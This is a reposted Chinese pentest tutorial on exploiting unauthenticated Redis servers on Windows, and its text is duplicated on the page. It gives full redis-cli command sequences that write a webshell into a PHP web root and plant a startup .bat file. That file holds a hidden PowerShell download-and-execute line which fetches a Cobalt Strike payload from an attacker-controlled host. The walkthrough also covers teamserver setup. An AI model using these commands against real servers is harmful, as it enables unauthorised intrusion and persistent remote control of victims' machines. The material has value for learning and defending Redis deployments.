欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Redis未授权访问在windows下的利用

来源: 作者: 时间:2019-02-24 21:17 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。
环境搭建
首先下载windows版本的redis
https://github.com/dmajkic/redis/downloads
下载的Redis包含32位和64位操作系统,根据自己实际情况选择,本次测试使用的是64位系统。

切换到对应目录,命令行下输入redis-server.exe redis.conf 运行redis

查看端口6379已经开放,说明Redis启动成功。

在本机使用telnet 连接靶机 telnet 192.168.1.101 6379

连接后输入info查看是否成功

也可以通过redis-cli.exe来进行连接

对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,个人简单概括一下大致的几种(可能有考虑不周的,大佬们轻喷)1、能够获取web绝对路径的,直接写入webshell2、写入启动项3、写入mof、dll劫持等
 
漏洞利用
写入webshell
第一种写入webshell,需要通过phpinfo或其他的报错方式来获取网站绝对路径

然后通过执行如下命令获取shell
C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379redis 192.168.1.101:6379> CONFIG SET dir c:/phpstudy/wwwOKredis 192.168.1.101:6379> CONFIG SET dbfilename evil.phpOKredis 192.168.1.101:6379> set x “”OKredis 192.168.1.101:6379> saveOK

查看webshell地址

写入启动项
第二种写入启动项也是和在linux环境下如果无法获取webshell或写入ssh-keygen情况下写入启动项一样的原理。
windows下的开机启动项的目录为
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
这边有个小细节,由于Start Menu之间有空格,因此需要用双引号将路径包含。
这种情况下获取shell的方式可以使用mshta,具体可以参考ukonw大佬的博客
https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html
另外的方式也有很多,内网中我现在比较喜欢msf和CS的结合,这边使用Cobalt Strike也举个栗子。
先启动CS服务端 ,命令如下:
root@kali:~/cobaltstrike# ./teamserver 192.168.1.105 233

在启动客户端,输入密码和地址

添加一个Listener 监听器

选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.105:80/a'))"
直接保存为1.bat即可
其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义
C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379redis 192.168.1.101:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“OKredis 192.168.1.101:6379> CONFIG SET dbfilename 1.batOKredis 192.168.1.101:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.105:80/a’))”rnrn”OKredis 192.168.1.101:6379> saveOK

[1] [2]  下一页

在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。
环境搭建
首先下载windows版本的redis
https://github.com/dmajkic/redis/downloads
下载的Redis包含32位和64位操作系统,根据自己实际情况选择,本次测试使用的是64位系统。

切换到对应目录,命令行下输入redis-server.exe redis.conf 运行redis

查看端口6379已经开放,说明Redis启动成功。
www.wnhack.com
在本机使用telnet 连接靶机 telnet 192.168.1.101 6379

连接后输入info查看是否成功

也可以通过redis-cli.exe来进行连接

对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,个人简单概括一下大致的几种(可能有考虑不周的,大佬们轻喷)1、能够获取web绝对路径的,直接写入webshell2、写入启动项3、写入mof、dll劫持等
 
漏洞利用
写入webshell
第一种写入webshell,需要通过phpinfo或其他的报错方式来获取网站绝对路径 www.wnhack.com

然后通过执行如下命令获取shell
C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379redis 192.168.1.101:6379> CONFIG SET dir c:/phpstudy/wwwOKredis 192.168.1.101:6379> CONFIG SET dbfilename evil.phpOKredis 192.168.1.101:6379> set x “”OKredis 192.168.1.101:6379> saveOK

查看webshell地址

写入启动项
第二种写入启动项也是和在linux环境下如果无法获取webshell或写入ssh-keygen情况下写入启动项一样的原理。
windows下的开机启动项的目录为 内容来自无奈安全网
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
这边有个小细节,由于Start Menu之间有空格,因此需要用双引号将路径包含。
这种情况下获取shell的方式可以使用mshta,具体可以参考ukonw大佬的博客
https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html
另外的方式也有很多,内网中我现在比较喜欢msf和CS的结合,这边使用Cobalt Strike也举个栗子。
先启动CS服务端 ,命令如下:
root@kali:~/cobaltstrike# ./teamserver 192.168.1.105 233

在启动客户端,输入密码和地址

添加一个Listener 监听器

本文来自无奈人生安全网

选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.105:80/a'))"
直接保存为1.bat即可
其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义
C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379redis 192.168.1.101:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“OKredis 192.168.1.101:6379> CONFIG SET dbfilename 1.batOKredis 192.168.1.101:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.105:80/a’))”rnrn”OKredis 192.168.1.101:6379> saveOK 无奈人生安全网
本文来自无奈人生安全网

[1] [2]  下一页

copyright 无奈人生

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。